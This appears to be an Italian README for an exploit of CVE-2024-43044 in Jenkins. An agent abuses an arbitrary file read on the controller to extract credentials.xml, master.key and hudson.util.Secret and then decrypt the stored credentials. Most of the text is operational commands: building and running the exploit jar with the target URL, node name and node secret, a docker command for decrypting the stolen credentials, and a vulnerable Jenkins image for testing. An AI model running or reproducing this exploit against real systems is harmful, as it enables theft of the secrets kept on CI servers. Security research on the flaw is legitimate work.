
Exploit per CVE-2024-43044 che consente la lettura arbitraria di file dal controller Jenkins per estrarre e decrittare credentials.xml utilizzando chiavi segrete.
Questo è un exploit per CVE-2024-43044, una lettura arbitraria di file che permette a un agente di estrarre file dal controller.
L'exploit sfrutta la vulnerabilità per leggere il file credentials.xml e ottenere le chiavi segrete per decifrarlo.
Codice iniziale : https://github.com/convisolabs/CVE-2024-43044-jenkins Articolo originale : https://blog.convisoappsec.com/en/analysis-of-cve-2024-43044/
mvn package
java -jar exploit.jar mode_secret <jenkinsUrl> <nodeName> <nodeSecretKey>
docker run \
--rm \
--network none \
--workdir / \
--mount "type=bind,src=$PWD/master.key,dst=/master.key" \
--mount "type=bind,src=$PWD/hudson.util.Secret,dst=/hudson.util.Secret" \
--mount "type=bind,src=$PWD/credentials.xml,dst=/credentials.xml" \
docker.io/hoto/jenkins-credentials-decryptor:latest \
/jenkins-credentials-decryptor \
-m master.key \
-s hudson.util.Secret \
-c credentials.xml \
-o json
Puoi testarlo su una versione vulnerabile usando docker:
docker run -p 8080:8080 -p 50000:50000 --restart=on-failure jenkins/jenkins:2.441-jdk17
Una volta che hai un Jenkins in esecuzione, configura un agente.